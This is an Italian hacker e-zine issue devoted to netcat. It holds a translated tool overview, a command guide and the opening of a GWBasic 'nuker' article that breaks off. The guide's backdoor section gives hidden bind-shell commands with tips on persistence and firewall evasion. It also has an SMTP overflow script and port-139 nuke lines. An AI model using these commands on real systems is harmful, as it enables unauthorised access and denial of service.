Copy Link
Add to Bookmark
Report

Netrunners 03

eZine's profile picture
Published in 
Netrunners
 · 5 years ago

  

_______ __ __________
\ \ _____/ |\______ \__ __ ____ ____ ___________ ______
/ | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/
/ | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \
\____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ >
\/ \/ \/ \/ \/ \/ \/®
--------------------------------------------------------------------------
FrOm Spp to tHe NeT

NumEro tRE
--------------------------------------------------------------------------
Sommario:
---------

Facciamo due chiacchere By ChRoMe


Netcat 1.10
Panoramica By Brigante

Un Primo orientamento
sul netcat By Buttha


Un NUker in GWbasic
che sfrutta il NetCat By Master


Download e upload
di files usando il Boserve
in concomitanza con il NetCat By ChRoMe


***************************************************************************************


Facciamo due chiacchere
-----------------------
By ChRoMe

Bene bene bene,arieccoci con il NetRunners n°tRE.
Per prima cosa facciamo due chiacchere sulla triste storia dell'abbandono del ng
da parte di quasi tutti gli SPP.
Premetto che non ce stato nessun tacito accordo tra gli SPP,il mio post di abbandono e'
scaturito solo ed esclusivamente da una mia decisione,peraltro condivisa dalla maggior
parte degli altri SPP,dopo aver constatato che l'atmosfera del ng...era diventata veramente insopportabile.
Detto questo,ci rimane poco da dire,so che il ng e' stato tolto dal server Tin,e la situazione sembra essere caduta nella desolazione...ma state tranquilli,qualcuno lo riattivera'...e ricominceranno i msg.
Per ora,che io sappia,non ce' intenzione da parte del gruppo di ritornare su ahccc...ma mai dire mai....
Vi faro sapere.

Un'altra e zine ,un po caotica (ma e' il loro primo numero) a dire la verita',e' uscita.
Si chiama NEWBIES,e' curata da N0b0dy e Zero Cool,due amici,nel primo numero ce anche un'articolo del "nostro" RigoR MorteM...l'url da dove scaricarla e'

http://members.it.tripod.de/ZeroCool/rivista.htm

Dateli un 0kkio,ci sono cose interessanti,e sul numero due,ci saranno altre cose molto interessanti.

Mmmhhhh...questo numero di NetRunners...dovreste gia' trovarlo via web,un grazie a RigoR e Teresa per la costruzione della pagina web che ospitera la rivista.
L'url (so che se leggete questa lo sapete gia',ma lo faccio per chi ha bekkato la e-zine tramite canali "paralleli") e' questo:

http://members.tripod.com/~teresacanis/

premete enter e vi apparira tutto il grande lavoro in dhtml che ha svolto il nostro buon RigoR,nella fantastica cornice grafica del mio Tesorino Teresa...hehehehehehe
Trovate i nuovi numeri nella sezione zip......
Ah.la ml..per il netrunners..la disattivero'..mandando un msg a chi si era gia' iscritto,e postandoli l'url da dove scaricare la e-zine.

Stiamo lavorando ad un progetto per IRC..ma per ora non vi dico altro,anche xche' non vorrei che poi anche l'eventuale canale,diventasse meta di rompipalle ,come sul ng.
Per questo ringrazio il Mitico TheDuke,Darkman,ErGoline,Ramsesse...e tutti gli altri che si sono interessati al progetto.

Bene..in questo numero,un po monotematico,affronteremo i vari segreti di NetCat.
Il Brigante ci spieghera' cosa e' realmente il netcat,Buttha ci fara'un panoramica sui comandi,con vari esempi,Master (Lui.come lo chiama Harlock...hehehehe)ci insegna un divertente nuker in gwbasic,sfruttando le potenzialita' di NC,infine come promesso io vi do' delle dritte di come fare download e upload con un boservizzato,ancora sfruttando il NC.
Una nota di colore.....visto che molti (e non faccio nomi..hihihih)mi hanno detto che il netcat non funziona....sappiate che deve essere in esecuzione su entrambe i pc..heheheheheheh.per poter dialogare.

Per il resto.mi sembra non ci sia molto da dire,come al solito vi esorto a farci pervenire commenti,critiche....etc etc..se avete delle domanda,se vorreste vedere trattato un argomento in particolare....scrivete,scrivete ,scrivete....tanto non so' leggere...hihihihihihih

Okkey.allora,sigarettina,relax e leggetevi questo numero.........

P.S.
Quasi dimenticavo

Per Fritz
---------
Ho messo una routine in questo numero,che quando leggerai la 17 riga del 2 articolo....
ti kikkera in automatico,facendoti uno shoutDown del pc....hihihihihihih
Ciao Fritz.lo sai che scherzo.

P.P.S.S.
Un saluto particolare a Jam,e spero che il dente del giudizio non ti dia piu'problemi.....ora che te lo ho craKKato...hihihihihihihihi
Aspetta che le orde barbariche calino sul tuo antro.hihihihihih

Ciao a tutti
alla proxyma
ChRoMe
SPP MemBer





_#_




Netcat 1.10
Panoramica
-----------
by Brigante
SPP MembEr

Traduzione dal
THE DEFCON RELEASE 7/26/96

Il Netcat è una semplice utility Unix che legge e scrive i dati lungo le connessioni di rete, usando il protocollo TCP o UDP.
E' stao progettato per essere un tool affidabile che può essere usato direttamente o facilmente pilotato da altri programmi e scripts. Allo stesso tempo, ha delle funzioni di network debugging e di esplorazione della rete, per cui può creare ogni tipo di connessione di cui si può aver bisogno e ha molteplici funzioni incluse. Il Netcat, o "nc" come è chiamato ora, è stato distribuito per lungo tempo come un tool standar di Unix, pur sapendo che è destinato ad applicazioni critiche.
Nel suo utilizzo più semplice, "nc host port" crea una connessione TCP alla porta designata dell'Host scelto da noi. Il nostro input standard è quindi inviato all'Host, ed ogni cosa che ritorna indietro attraverso la connessione è inviata al nostro output standard. Questo continua all'infinito, finchè l'altra parte non chiude la connessione. Notare che questo comportamento è differente rispetto a quello di molte altre applicazioni che chiudono ogni cosa ed escono dal sistema dopo aver ricevuto un end-of-file come input standard.
Netcat può anche funzionare come un server, ascoltando le connessioni non autorizzate e leggendo e scrivendo su di esse. Con alcune limitazioni, netcat non fa differenza se gira in modo "client" o "server". Continua a monitorare i dati finchè ce ne sono.
In ogni modo, lo spegnimento può essere causato dopo un configurabile periodo di inattività da parte dell'Host.
E può fare tutto questo anche attraverso l'UDP. UDP, come indica la "U", dà una connessione meno affidabile rispetto al TCP e alcuni sistemi potrebbero avere dei problemi a inviare una grande quantità di dati per questa via, ma comunque è un'ulteriore facoltà del netcat.
Potreste chiedervi :"Perchè non usare semplicemente telnet per connettersi arbitrariamente alle porte?" . La domanda è valida, ed ecco le ragioni. Il telnet ha il problema dello "standard input EOF", così che uno può introdurre delle pause calcolate in particolari script per far sì che l'output della rete termini. Questa è la ragione principale....netcat continua a essere attivo finchè l'altra parte della rete non chiude la connessione.
Telnet inoltre non trasferisce i dati binari arbitrari, perchè alcuni caratteri sono interpretati come opzioni del telnet e sono rimossi dal flusso dei dati. Telnet inoltre emette alcuni dei suoi messaggi di diagnostica verso l'output standard, laddove netcat invece tiene religiosamente separato l'output standard dal proprio output, e non modifica alcun dato in transito a meno che non lo si voglia espressamente.
E naturalmente telnet non può ascoltare le connessioni non consentite, o usare l'UDP. Netcat non ha alcuna di dette limitazioni, è più piccolo e più veloce del telnet ed ha molti altri vantaggi.
ALcune delle principali caratteristiche del Netcat sono:
1) Connessioni non autorizzate verso l'esterno o verso l'interno, TCP o UDP, da o verso qualsiasi porta
2) Controllo completo del DNS forward/reverse, con avvisi appropriati
3) Capacità di usare ogni porta sorgente locale
4) Capacità di usare ogni indirizzo sorgente della rete localmente configurato
5) Port scanner incluso, con randomizer
6) Inclusa capacità di allentare il routing sorgente
7) Possibilità di leggere gli argomenti della linea di comando provenienti da un input standard
8) Modo slow-send, una linea ogni N secondi
9) Hex dump dei dati trasmessi e ricevuti
10) Facoltà opzionale di lasciare ad un altro programma il compito di controllare la connessione
11) Risponditore con funzioni telnet opzionale

Esplorazione delle funzioni del netcat
Da dove cominciare? Netcat è allo stesso tempo così semplice e versatile, che è come provare a descrivere tutto quello che si può fare con un coltellino svizzero.
Se non sono dati comandi, netcat li richiede, leggendoli da una linea di input standard, e li include nella lista dei comandi interna. Ciò può risultare utile quando di comanda netcat attraverso certi script, con il risultato di nascondere i propri comandi personalizzati dalla pubblica visione.
L'host può essere un nome o un indirizzo IP. Se è specificato -n, netcat accetterà solo IP numerici, e non farà alcuna ricerca del DNS. Se non è dato il parametro -n, ma è dato -v, netcat farà anche una ricerca del suffisso DNS, e vi avviserà nel caso dovesse incontrare dei problemi. Questo spesso allunga la connessione si un pò, ma dà comunque informazioni utili. Ci sono ipotesi in cui questa opzione vi può far addirittura risparmiare del tempo, come ad es. quando volete conoscere il nome di alcuni indirizzi IP e collegarvi agli stessi. Netcat vi sirà tutto riguardo essi, salvando i passaggi occorsi per risolvere l'hostname in modo da renderli case-sensitive, il che alcune volte può essere utile per scoprire alcuni errori minori nei propri file DNS che assillano la propria rete.

Una indicazione di porta è necessaria per delle connessioni outbound, e può essere numerica o un nome a seconda di come è elencata in /etc/services. Se -n è specificato, solo gli argomenti numerici sono validi. Sintassi speciali e/o argomenti riguardanti più di una porta possono causare dei comportamenti diversi.

L'opzione -v controlla il livello di tempo dei messaggi inviati verso lo standard error. Probabilmente eseguirete netcat il più delle volte con l'opzione -v attiva, così da poter avere informazioni sulla connessione che si sta provando a fare. Ma alle volte preferirete anche dare un argomento -w, che limita il tempo speso a cercare di stabilire una connessione. Io uso spesso "nc -v -w 3", che fa in pratica le stesse funzioni del telnet. Il timeout è facilmente modificabile tramite un argomento susseguente il -w che riscrive l'ultimo intervallo di tempo dato.
Specificare il -v più di una volta dà un output di diagnostica più completo. Se -v non è specificato per niente, netcat continua silenziosamente a fare il suo lavoro finchè non incorre in qualche errore, dopodichè descrive l'errore ed esce dando un nonzero status.
Le connessioni di rete rifiutate non sono generalmente considerate errori, a meno che non abbiate richiesto solo una singola porta TCP ed essa vi abbia rifiutato.
Notare che -w determina anche il timeout di inattività della rete. Questo non ha alcun effetto finchè non chiude l'input standard, ma da quel momento se non arriva niente nei prossimi <timeout> secondi, netcat proverà a leggere la rete ancora una volta per una essere sicuro, dopodichè si chiuderà ed uscirà. Ci sono molti servizi di rete ora che accettano una piccola quantità di input e rispondono son una grossa quantità di output, come i server Web o Gopher, che è la ragione principale per cui netcat è stato progettato per cessare di restare aperto sulla rete oltre l'input standard.
Le connessioni UDP sono aperte al posto di quelle TCP quando è specificato -u. Netcat usa internamente il meccanismo "connected UDP socket" che è supportato da molti kernel. Sebbene netcat richieda che una connessione uscente UDP sia aperta immediatamente, non sono inviati dati finchè non è letto qualcosa dall'input standard. Solo da allora in poi è possibile determinare quando c'è veramente un server UDP all'altra parte, e spesso non è facile dirlo. Molti protocolli UDP usano timeouts e retries per fare le loro cose e in molti casi non si preoccupano per nulla di rispondere, così voi dovete specificare un timeout e sperare che vada bene. Otterrete molto da una connessione UDP se l'input standard è nutrito da una sorgente di dati che sembrano vari tipi di richieste da parte del server.

Per ottenere un hex dump dei data inviati dall'una o dall'altra parte, usate "-o logfile". La linea comincierà con "<" o con ">" per indicare rispettivamente "Dalla rete" o "Verso la rete", e contiene in conto totale per direzione, e la rappresentazione esadecimale ed ASCII del traffico. Catturare un hex dump solitamente rallenta il netcat, per questo motivo non è consigliabile usarlo quando la velocità è critica.
Netcat si può legare a qualsiasi porta, soggetto alle restrizioni dei privilegi e alle porte che sono già in uso. E' anche possibile usare uno specifico indirizzo sorgente di rete locale. [Notare che questo non funziona su tutte le piattaforme]. Usare "-p n° di porta" per agganciarsi a una porta locale specifica, e "-s indirizzo IP" o "-s nome dell'Host" per far si che siano il vostro indirizzo IP sorgente. Questo è spesso chiamato "ancoraggio del socket". Chi ha i privilegi di root può agganciare qualunque porta sorgente incluse quelle "riservate" inferiori alla 1024. L'assenza di -p vi farà legare a qualunque porta non usata che il sistema vi indicherà, come una qualsiasi altra connessione client, a meno che non usiate l'opzione -r.
Il modo di ascolto farà sì che netcat attenda una connessione inbound, e allora inizierà il trasferimento degli stessi dati. Potete fare questo scrivendo "nc -l -p 1234<nome del file" e quando qualcun altro si connetterà alla vostra porta 1234, il file gli verrà inviato che voglia o no. Il modo di ascolto è usato generalmente con un argomento di porta locale--questo è richiesto per il modo UDP, mentre il modo TCP ne ha uno assegnato dal sistema, che voi potete scoprire con il -v. Se voi specificate un Host di destinazione ed una porta opzionale in modalità di ascolto, netcat accetterà una connessione inbound solo dall'Host che avrete specificato, e solo da quella determinata porta.
Nel modo verbose sarete informati circa la connessione inbound, incluso da quale indirizzo e porta provenga. Se il sistema supporta l'opzione IP socket, netcat proverà a recuperare ogni cosa come opzione da una connessione inbound e la stamperà in esadecimale.
Se il netcat è compilato con -DAPING_SECURITY_HOLE, l'argomento -e specifica un programma da eseguire dopo aver stabilito o ricevuto una connessione con successo. Nel modo di ascolto, questo lavora analogamente all "inetd", ma solo per una singola istanza.
Usare con MOLTA ATTENZIONE. Questo pezzo di codice normalmente non è abilitato; se si è consapevoli di quello che si sta facendo, buon divertimento. Questa opzione funziona anche nel modo UDP. Notare che è possibile scrivere solo -e con il nome del programma, ma senza argomenti. Se volete lanciare qualcosa con una lista di argomenti, scrivete uno script di un paio si righe oppure usate inetd come sempre.
Se il netcat è compilato con -DTELNET, l'argomento -t abilita la risposta alla negoziazione telnet.
I dati dalla connessione di rete sono sempre inviati all'output standard il più efficientemente possibile, usando 8 K per la lettura e la scrittura. L'input standard è normalmente inviato lungo la stessa strada, ma lo switch -i specifica un intervallo di tempo che lo rallenta considerevolmente. L'input standard è a sua volta letto in grandi quantità, ma netcat allora prova a cercare dove l'interruzione di linea esce e invia una linea per ogni intevallo di tempo. Notare che se l'input standard è un terminale, i dati sono già letti linea per linea, così che finche non farete l'intervallo -i più lungo, ciò che scriverete uscirà con una velocità abbastanza normale. -i è stato progettato in realtà per essere usato quando ci sia bisogno di misurare la frequenza di fuoriuscita di ciò che viene letto dai files o dai pipes.

Il port-scanning è un diffusissimo metodo di esplorazione della rete. Netcat accetta questo comando con queste opzioni prima, che l'Host di destinazione, o qualunque altra cosa ci sia in mezzo sia interpretata come un numero di porta o un numero, o un range di porte in sintassi M-N. Se è specificata più di una porta, netcat si collegherà a tutte queste, inviando la stessa porzione di dati dall'input standard [un valore superiore agli 8K] ad ogni porta cui ci si sia connessi con successo. Lo specificare molteplici porte sopprime anche i messaggi diagnostici riguardo le connessioni rifiutate, a meno che -v sia specificato 2 volte per indicare maggiore verbosità. In questo modo normalmente vi saranno notificate solo le connessioni aperte senza problemi. Esempio "nc -v -w 2 -z target 20-30" proverà a connettersi ad ogni porta tra la 20 e la 30 [incluse] del computer target, e vi informerà nel caso dovesse incontrare un server FTP, un server telnet o un mailserver lungo il percorso. Lo switch -z previene l'invio di ogni tipo di dati verso una connessione TCP, e ciò è utile come un modo di scanning veloce per vedere quali porte il computer target ha aperte. Se si vuole impostare un limite alla velocità dello scanning, -i inserirà una pausa tra lo scan di una porta e lo scan della successiva.
Per ogni range di porte specificato, lo scanning è fatto normalmente dall' ultima a salire. Se viene usato lo switch -r, lo scanning procede casualmente tra le porte incluse nel range, ed avvisa appena ne trova una aperta. In aggiunta, se è attivo il modo di scanning casuale, le porte locali sorgenti sono anche randomizzate. Questo fa si che il netcat non presenti un modello di scansione regolare. Potete esercitare un controllo molto approfondito sulla vostra scansione con un uso giudizioso dello switch -r e il range delle porte da nascondere selezionato. Se voi usate -r per una singola connessione, la porta sorgente avrà un valora casuale al di sotto del 8192, invece di quello che il kernel vi avrebbe assegnato. Notare che selezionare una porta locale specifica sovrascriverà ogni randomizzazione delle porte locali.
Molti dono interessati a testare la connettività di una rete usando l' IP source routing, anche se questo solo per essere sicuri che i propri firewall riescano a bloccare i pacchetti provenienti da una certa sorgente. Sui sistemi che lo supportano, lo switch -g può essere usato molte volte [superiori ad 8] per costruire un loose-source-routed path per la vostra connessione, e l'argomento -G posiziona l'"hop point" all'interno della lista. Se la vostra rete supporta il traffico source-rated in entrata ed in uscita, potrete testare la connetttività ai vostri servizi attraverso punti remoti in Internet.
Netcat fa del suo meglio per essere come un gatto. Attualmente non fa nulla ai modi di input del terminale, e non fa conversione end-of-line. L'input standard da un terminale è letto linea per linea con normali caratteri editabili. Potete liberamente sospendere una connessione e riesumarla. ^C o qualsiasi sia il vostro carattere di interrupt inetrromperanno netcat e lo faranno uscire.
Il netcat non è un "generatore di pacchetti arbitrari", ma ha la capacità di parlare ai sockets raw and/or nit/bpf/dlpi.
Questo è quanto sul netcat.....se vi ha interessato affronteremo in seguito delle applicazioni pratiche.

Per ogni richiesta o commento la mia e-mail è perry@freemail.it

GoOd HaCkInG

Brigante


_#_



UN PRIMO ORIENTAMENTO SU NETCAT
-------------------------------
by Buttha
-------------------------------
versione 0.5
-------------------------------

Opzioni:

-d stealth mode: NC funziona in modalita' TSR; cioe' e' un modo per
rendere la sua presenza "discreta"
-e prog.exe esegue il programma prog.exe se NC riceve qualche collegamento
-h help
-i SEC fa una pausa di SEC secondi tra una linea mandata e l'altra
o tra una porta scannata e l'altra
-l modo 'ascolto'. Una volta che l'ascolto ha fine (socket chiusa)
netcat termina
-L modo 'ascolto' ciclico. Finita una sessione, nc si riesegue, aspettando
altre connessioni
(-L -d e otteniamo un netcat in ascolto continuo e discreto ^_^)
-n IP specifica l'IP in modo numerico. Netcat non interroga il DNS
-o file.txt salva il traffico in entrata ed in uscita (formato esadecimale)
-p PORTA fa riferimento alla porta locale PORTA
-r modo random: usato sia per lo scanning che per l'ascolto. Viene
scelta una porta casuale
-s ADDR ADDR e' un indirizzo sorgente locale
-t risponde alle negoziazioni telnet, evitando di spedire informazioni
extra sul proprio conto
-u modo UDP: fa lavorare netcat con il protocollo UDP invece di TCP/IP
-v modo verbose
-v -v modo very verbose
-w SEC se non arriva niente dopo SEC secondi, netcat prova a leggere ancora
una volta, per sicurezza, e poi termina
-z modo zero-I/O. Utilizzato nello scanning di porte


NOTA PER LINUX:
per abilitare le opzioni -e e -t compilare con le rispettive opzioni
-DGAPING_SECURITY_HOLE e -DTELNET.
Per farlo, senza dover andare a modificare il make file:
make DFLAGS="-DGAPING_SECURITY_HOLE -DTELNET" linux


Ora vediamo possibili utilizzi.

Nota 1: questi sono solo alcuni esempi. Per un lista completa, assicurarsi di avere un
editor che consenta di aprire file di cardinalita' infinita numerabile :)
Nota 2: la lettura della guida di netcat e' molto utile ;)
Nota 3: per quanto io mi possa sforzare, questa guida assomigliera', sempre e comunque,
alla guida scritta da Master :)
Nota 4: molti esempi sono presi dal manuale di nc

TELNET
------

nc puo' fungere da telnet


*) nc <host> <porta>

e ci si collega all'host <host> e alla porta <porta>.
<porta> potra' essere specificata come un numero o come un nome (nome di quelli presenti
in /etc/services o in \windows\services).
Il proprio standard input viene mandato a <host>:<porta> e le risposte dell'host vengono
mandate al proprio standard output.


*) nc <host> <porta> -u

telnet in modalita' UDP


*) nc -t <host> <porta>

si preoccupa di rispondere a negoziazioni con telnetd, prevenendo l'invio di informazioni
extra sul proprio conto: ci possono essere demoni che provano a chiedere cose come
USER e variabili d'ambiente TERM, e questi demoni non verranno accontentati.
Cosi' si evita di fare una connessione con il proprio vero username.


*) nc -n <IP host> <porta>

l'opzione -n permette di specificare l'IP: netcat non utilizza il DNS.
La porta dovra' essere specifica in modo numerico, vista la presenza di -n.

*) nc <host> <porta> -v

utilizza il DNS e visualizza tutti i problemi riscontrati con quest'ultimo

*) nc <host> <porta> -o file.txt

salva tutto cio' che e' stato inviato o ricevuto nel file.txt in formato esadecimale e
ASCII.
Le linee che iniziano con < indicano che i dati sono stati ricevuti dall'host,
mentre le linee che cominciano con > indicano i dati che sono stati spediti all'host.


NETCAT IN ASCOLTO
-----------------

*) nc -l -p <porta>

Ascolta cio' che arriva alla porta <porta> e lo visualizza.
Per una visualizzazione piu' dettagliata, utilizzare i modi verbose.
Una volta che la comunicazione viene chiusa da chi si e' collegato
a tale porta, nc termina.

*) nc -L -p <porta>

Come prima, solo che, una volta che il primo collegamento a <porta> termina,
netcat si rimette in ascolto.

*) nc -L -p <porta> < file.txt

quando uno si collega a <porta>, netcat invia i dati contenuti in file.txt a chi
ha effettuato il collegamento

*) nc -L -p <porta> > file.txt

ascolta <porta> e salva il traffico in file.txt

*) nc -L -p <porta> > file.txt -d

ascolta <porta> e salva cio' che viene inviato a quella porta.
Nc, in questo caso, lavora in background.

*) esempio: nc -L -p 12345 -v > netbus.txt -d

cioe' un bel file con una raccolta di sventurati :)


NETCAT IN TRASMISSIONE
----------------------

*) nc <IP> <porta> < pippo.com

Spedisce il file pippo.com all'indirizzo IP:porta.
Se il computer che corrisponde al destinatario esegue un
nc -l -p <porta> > pluto.com
allora riceve il file pippo.com e lo salva con il nome pluto.com

*) nc <IP di un host> <porta> < script.txt

si collega all'host, facendo una sessione telnet "guidata" dal contenuto del
file script.txt.
L'host puo' essere un server SMTP, un news server, un web server, ecc...

Esempio:
siete stufi di mandare in overflow il vostro sendmail preferito?

**file script.txt
HELO xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
MAIL FROM: mah@boh.net
RCPT TO: quelo@star.net
DATA
questa e' una mail di prova,
inviata da mah@boh.net a quelo@star.net, perche'
mah c'aveva grossa crisi
.
**fine file

e facciamo un bel
nc <IP SMTP> 25 < script.txt

otteniamo l'invio della mail.

*) nc <IP> 139 < nuke.txt

mah!


IL DISCORSO DELLE PRIORITA'
--------------------------

Quale e' la differenza tra un nc -L -p 25 -v
e un nc -L -p 25 -n -s <proprio_IP> ?
La differenza e' che il primo comando fa un bind di tipo "any" alla porta 25, mentre
il secondo specifica un IP preciso della proprio macchina (per es. l'indirizzo ethernet
della propria macchina).
Questo da, al secondo netcat, una priorita' maggiore rispetto al primo:
una connessione sulla porta 25 verra' gestita in maniera esclusiva dal netcat con
l'opzione -s.

Provate a fare un esperimento:
da una shell dos inserite il primo comando: nc -L -p 25 -v;
da un'altra shell il secondo: nc -L -p 25 -v -n -s 127.0.0.1 ;
ed, infine, da una terza shell fate un bel: nc 127.0.0.1 25 e scrivete qualche cosa, seguita
da invio.
Vedrete che e' il secondo netcat quello che riceve il tutto, mentre il primo non si accorge
di nulla.
Vi dice qualcosa?
Due cose: massima priorita' e ricezione dei dati in esclusiva.
E' il modo per sostituirsi a certi servizi in ascolto su determinate porte.
Supponiamo, per es, di essere in una rete locale, e il pc sul quale lavoriamo utilizza
netbios.
Netbios e' un'altro servizio che fa un bind di tipo "any".
Se noi facciamo un nc -L -p 139 -n -s xxx.xxx.xxx -e programma.exe (dove xxx.xxx.xxx e'
un indirizzo della macchina), allora scavalchiamo di fatto netbios, e qualsiasi connessione
alla nostra macchina, sulla porta 139, mandera' in esecuzione programma.exe

Un possibile utilizzo dell'opzione -s potrebbe essere per il server X di Linux:
X fa un bind di tipo "any" sulla porta 6000 e con netcat possiamo monitorare i tentativi
di connessione alla nostra porta 6000, sostituendoci al server X in ascolto.

NETCAT COME BACKDOOR
--------------------

*) nc -L -p <porta> -e path\programma.exe -d

netcat aspetta una connessione su <porta>.
Quando essa avviene, esegue programma.exe

*) nc -L -p <porta> -e path\programma.exe -u -d

utilizza il protocollo UDP

*) Esempio innocente ;)
nc -L -p 3333 -e c:\command.com -d

e ora collegatevi con il telnet :)
Personalmente, se mi collego con
nc 127.0.0.1 3333
ottengo la shell, ma non risponde ai comandi. Problema che non si verifica se
utilizzo telnet.

Non ho mai provato, ma credo di possa mettere un richiamo a netcat nel registry... ;-))
...o in winstart.bat... o in qualche ini... insomma, c'e' l'imbarazzo della scelta.

Per macchine sotto firewall, bisogna utilizzare le porte lasciate aperte dal
firewall stesso (per es. la 53).

Per avere una sicurezza maggiore, si potrebbe fare una cosa del tipo:

nc -L -p <porta> -e c:\path\login.exe -d

dove login e' un programma che chiede una password e poi lancia la shell.


NETCAT COME PORT SCANNER
------------------------

*) nc <IP> <porta di inizio scan>-<porta di fine scan> -v

fa uno scanning del range indicato.

E' possibile indicare piu' range:

esempio:
nc <IP> 80-140 1024-1050 -v

*) nc <IP> 80-140 -v -i 3

aspetta 3 secondi tra una porta e l'altra

*) nc <IP> 80-140 -v -z

il parametro -z manda il minor numero di dati possibile.
Utile per scanning veloci, per sapere solamente che porte sono aperte

*) nc <IP> 80-140 -v -r

le porte vengono scannate seguendo un ordinamento casuale, e anche le nostre porte
locali utilizzate per lo scanning vengono scelte in modo casuale.
Questo evita di mostrare un pattern regolare nello scanning.


STUDIO DI UN HOST
-----------------

Vista la possibilita' di usare pipe, l'utilizzo di netcat in Linux diventa piu'
flessibile.
Vediamo qualche esempio, tratto dalla guida di netcat:

*) echo QUIT | nc -v -w 5 <host da studiare> 20-250 500-600 5990-7000

per ogni porta indicata, echo manda la parola 'QUIT' a tale porta e, con
l'opzione -w 5, sta ad aspettare la risposta.
Qualora ci sia qualche server sulla macchina, esso rispondera' con qualche messaggio
di errore o qualche saluto, dandoci informazioni, magari, su che tipo di servizio
siamo incappati e la sua versione.
Questa e' la stessa tecnica usata da SATAN.

La stessa cosa puo' essere ottenuta da windows nel seguente modo:
create un file di testo che contenga la parola QUIT, e salvatelo.
Ora fate un:

nc -v -w 5 <host da studiare> 20-250 500-600 5990-7000 < nomefile.txt

UTILIZZO DELLE PIPE
-------------------

*) nc -l -p 1234 | uncompress -c | tar xvfp -

e, sull'altro pc:

tar cfp - /some/dir | compress -c | nc -w 3 primopc 1234

il secondo comando comprime una directory e invia il risultato attraverso netcat.
Il primo riceve il malloppo e scomprime.
Risultato: directory trasferita da un pc all'altro.

PERSONALIZZARE TELNET IN LINUX
------------------------------

Supponiamo che proprio vogliamo utilizzare telnet, ma ci farebbe comodo qualche opzione
di netcat.
Allora creiamo uno script "telcat" :)

#! /bin/sh
exec nc -opzioni_desiderate <host> <porta_host>

mandiamo in esecuzione un:
nc -l -p <porta> -e telcat localhost &

ed infine:
telnet localhost <porta>

il telnet si colleghera' all'host, grazie alla gentile intercessione di netcat,
usando le opzioni specificate nello script.

Nota: tra le opzioni non ci deve essere -t, altrimenti ci saranno due risposte
alle negoziazioni


VARIE ED EVENTUALI
------------------

Con questa mini guida, non ho minimamente esaurito quello che si puo' dire
su netcat: ho introdotto l'argomento.
Ne sono un esempio le opzioni -g e -G...
Sulla distribuzione di nc per Linux sono, inoltre, presenti degli script di
esempio che permettono un uso ancor piu' proficuo di questo semplice comando.
Per intenderci: netcat puo' essere usato per provare a creare un traffico enorme
su di una rete e metterla alla prova, oppure come generatore di un flusso di dati
per testare dei servizi e la loro resistenza.
Metterlo su di una macchina in rete, in ascolto, puo' essere un modo per offrire
un servizio, da vari punti di vista:
pensiamo ad una pagina web che abbia un puntatore all'indirizzo e alla porta
della macchina sul quale gira netcat, macchina che puo' essere in qualsiasi punto
della rete...
Oppure pensiamo netcat come un modo di testare servizi sperimentali sulla propria
Linux box: possiamo mandare in esecuzione determinati servizi senza andare a toccare
inetd.
Volendolo invece proprio toccare, questo inetd, e' possibile utilizzare netcat
come redirector per qualsiasi servizio.
Non resta che dare un consiglio: leggete il manuale accluso al programma e sperimentate.

Buttha



_#_




Un NUker in GWbasic
che sfrutta il NetCat
---------------------
By Master

(questo e' un vecchio post di Master apparso su AHCCC
quando ancora era un ng interessante.....)

Allora vi pubblico un semplice programma per mandare le nuke a che effettua
i ping sulla porta 31337 upd usando netcat e gwbasic. GWBASIC???? .. si
gwbasic perche' questo vecchio interprete fritto e rifritto ha delle opzioni
molto interessanti per il 'lavoro pratico'.
Ad esempio crea linee differenziate di pipe e utilizza lo schermo come input,
cosa che il c non fa se non
con un prog apposito.
Questo serve quando si fa girare un programma come netcat che annulla le pipe dos
in quanto sfrutta gia una pipe-line sua di sistema.
In risc-os e' possibile dire nc --qualcosa-- > testo1 & > testo2 .. in
testo1 ci va il pipe di netcat e in testo2 l'output a schermo .. in dos non
funziona purtroppo.
In piu' il c essendo un linguaggio 'troppo' evoluto per i nostri scopi non
blocca l'esecuzione di un prog durante lo svolgimento di una schell-dos
(comodissimo in tutti gli altri casi ma qui no!) .. il povero gwbasic si in
quanto il multitasking e la ricorsivita' non sa nemmeno cosa siano.
... visto che il c poi resta ostico a diversi mi sa che faccio felice almeno
qualcuno! hi hi hi

(Se a qualcuno interessa ho un compilatorino basic fatto da me che compila
un file di testo con il programma all'interno facendolo sembrare poi un
programma in c++ della Borland! ha ha ha .. cosi' uno puo' sempre far finta
con gli amici di sapere il c++!!! ... si possono fare versioni che compilano
in lisp, in prolog e anche in Aldebaran volendo! ;-)) )


allora il programma richiede ovviamente il gwbasic che penso si trovi
facilmente, netcat e un file di testo chiamato nuke.dat da mettere tutti
nella stessa dir.
All'interno del file nuke.dat va scritto del testo .. e' la nuke da mandare
sulla porta 139. Potrebbe contenere questo ad esempio :

File nuke.dat

inizio -------------------------------------------------------------------
Prima di ripingarmi sulla 31337
